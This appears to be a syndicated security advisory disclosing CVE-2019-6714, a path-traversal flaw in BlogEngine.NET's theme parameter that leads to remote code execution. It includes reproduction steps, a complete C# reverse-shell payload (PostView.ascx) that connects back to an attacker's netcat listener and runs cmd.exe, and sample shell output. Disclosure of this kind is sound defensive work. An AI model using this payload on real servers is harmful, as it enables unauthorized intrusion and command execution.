Remote Code Execution in BlogEngine.NET

Aon’s Cyber Solutions Security Testing team recently discovered a vulnerability, CVE-2019-6714, in the BlogEngine.NET blogging software platform affecting versions and earlier. This issue allows for remote code execution through a path traversal vulnerability in the file upload feature available to blog post editors. A fix is available in the current version,

Aon’s Cyber Solutions would like to thank the BlogEngine.NET developers for working with us as part of our coordinated disclosure process to quickly remediate this vulnerability.


01/21/2019 – Issue discovered, exploit developed and tested
02/05/2019 – Contact established with developer, details of vulnerability sent
02/07/2019 – Developer pushed fixes to Github
02/07/2019 – Fixes for issue were tested and confirmed to be fixed
02/09/2019 – Official release was done on Github
03/28/2019 – Public disclosure



The test environment used during the discovery of this vulnerability was a fully patched and updated Windows 2016 server (build 14393) running IIS 10. The version of BlogEngine.NET that was tested can be found here on Github:

While this does describe the specific test environment, this exploit was found to work with slight modifications on versions of BlogEngine.NET as far back as running on Windows 2008 R2.

When adding or editing a blog post, BlogEngine.NET allows for the upload of arbitrary files which are meant to be included as part of the post. By default, these files are stored in the /App_Data/files folder of the document root belonging to the BlogEngine.NET instance. If an attacker uploads a file called PostView.ascx containing malicious C# code, they can then cause that malicious code to be executed by exploiting a directory traversal vulnerability in the /Custom/Controls/PostList.ascx.cs file. The vulnerable code can be seen here:

125                var path = string.Format("{0}Custom/Themes/{1}/PostView.ascx", Utils.ApplicationRelativeWebRoot, BlogSettings.Instance.GetThemeWithAdjustments(this.Request.QueryString["theme"]));126                var counter = 0;127    128                if(!System.IO.File.Exists(Server.MapPath(path)))129                    path = string.Format("{0}Custom/Controls/Defaults/PostView.ascx", Utils.ApplicationRelativeWebRoot);130    131                foreach (Post post in visiblePosts.GetRange(index, stop))132                {133                    if (counter == stop)134                    {135                        break;136                    }137    138                    var postView = (PostViewBase)this.LoadControl(path);139                postView.ShowExcerpt = ShowExcerpt();

As you can see on line 125 above, this code will get a “theme” value from the query string. This is meant to execute code that renders pages differently according to a user’s needs or desires. For example, a mobile theme might be appropriate for viewing pages on a mobile device rather than a desktop. Unfortunately, this value is not being sanitized for any directory traversal sequences (i.e., “../”).

Note that also on line 125, we see this:


This means that the code will look for and, if it exists, execute a file called PostView.ascx in the specified theme directory. In this attack scenario, that directory would be the /App_Data/files directory, where we previously uploaded the malicious file with the name of PostView.ascx.

Reproduction Steps

To reproduce this exploit, first modify the exploit code shown in the following section to match the IP address and port of a netcat listener that will be waiting for a reverse shell connection. Next, perform the following actions:

  1. Log into the BlogEngine.NET instance with a user who has rights to add or edit a blog post.
  2. Navigate to the Content menu.
  3. A listing of posts should be shown on this screen. Click New to add one.
  4. In the toolbar located above the post body, there should be a number of icons. There should be one that looks like an open file, called File Manager. Click this icon.
  5. Here, simply upload the previously edited PostView.ascx file.
  6. Make sure you have a netcat listener waiting for a connection at the previously specified IP and port.
  7. Browse to the following URL:

You should now receive a connection from the server and have a command shell running in the context of the BlogEngine.NET web application.

Exploit Code:/* * CVE-2019-6714 * * Path traversal vulnerability leading to remote code execution.  This  * vulnerability affects BlogEngine.NET versions 3.3.6 and below.  This  * is caused by an unchecked "theme" parameter that is used to override * the default theme for rendering blog pages.  The vulnerable code can  * be seen in this file: *  * /Custom/Controls/PostList.ascx.cs * * Attack: * * First, we set the TcpClient address and port within the method below to  * our attack host, who has a reverse tcp listener waiting for a connection. * Next, we upload this file through the file manager.  In the current (3.3.6) * version of BlogEngine, this is done by editing a post and clicking on the  * icon that looks like an open file in the toolbar.  Note that this file must * be uploaded as PostView.ascx. Once uploaded, the file will be in the * /App_Data/files directory off of the document root. The admin page that * allows upload is: * * * * * Finally, the vulnerability is triggered by accessing the base URL for the  * blog with a theme override specified like so: * * * */<%@ Control Language="C#" AutoEventWireup="true" EnableViewState="false" Inherits="BlogEngine.Core.Web.Controls.PostViewBase" %><%@ Import Namespace="BlogEngine.Core" %><script runat="server">    static System.IO.StreamWriter streamWriter;    protected override void OnLoad(EventArgs e) {        base.OnLoad(e);    using(System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient("", 4445)) {        using(System.IO.Stream stream = client.GetStream()) {            using(System.IO.StreamReader rdr = new System.IO.StreamReader(stream)) {                streamWriter = new System.IO.StreamWriter(stream);                                        StringBuilder strInput = new StringBuilder();                System.Diagnostics.Process p = new System.Diagnostics.Process();                p.StartInfo.FileName = "cmd.exe";                p.StartInfo.CreateNoWindow = true;                p.StartInfo.UseShellExecute = false;                p.StartInfo.RedirectStandardOutput = true;                p.StartInfo.RedirectStandardInput = true;                p.StartInfo.RedirectStandardError = true;                p.OutputDataReceived += new System.Diagnostics.DataReceivedEventHandler(CmdOutputDataHandler);                p.Start();                p.BeginOutputReadLine();                while(true) {                    strInput.Append(rdr.ReadLine());                    p.StandardInput.WriteLine(strInput);                    strInput.Remove(0, strInput.Length);                }            }        }        }    }    private static void CmdOutputDataHandler(object sendingProcess, System.Diagnostics.DataReceivedEventArgs outLine) {       StringBuilder strOutput = new StringBuilder();           if (!String.IsNullOrEmpty(outLine.Data)) {               try {                    strOutput.Append(outLine.Data);                        streamWriter.WriteLine(strOutput);                        streamWriter.Flush();                } catch (Exception err) { }        }    }</script><asp:PlaceHolder ID="phContent" runat="server" EnableViewState="false"></asp:PlaceHolder>

Exploit Output:

$ nc -nvlp 4445Listening on [] (family 2, port 4445)Connection from 49848 received!Microsoft Windows [Version 10.0.14393](c) 2016 Microsoft Corporation. All rights reserved.whoamic:\windows\system32\inetsrv>whoamiiis apppool\defaultapppoolc:\windows\system32\inetsrv>

*** This is a Security Bloggers Network syndicated blog from Blog authored by Dustin Cobb. Read the original post at: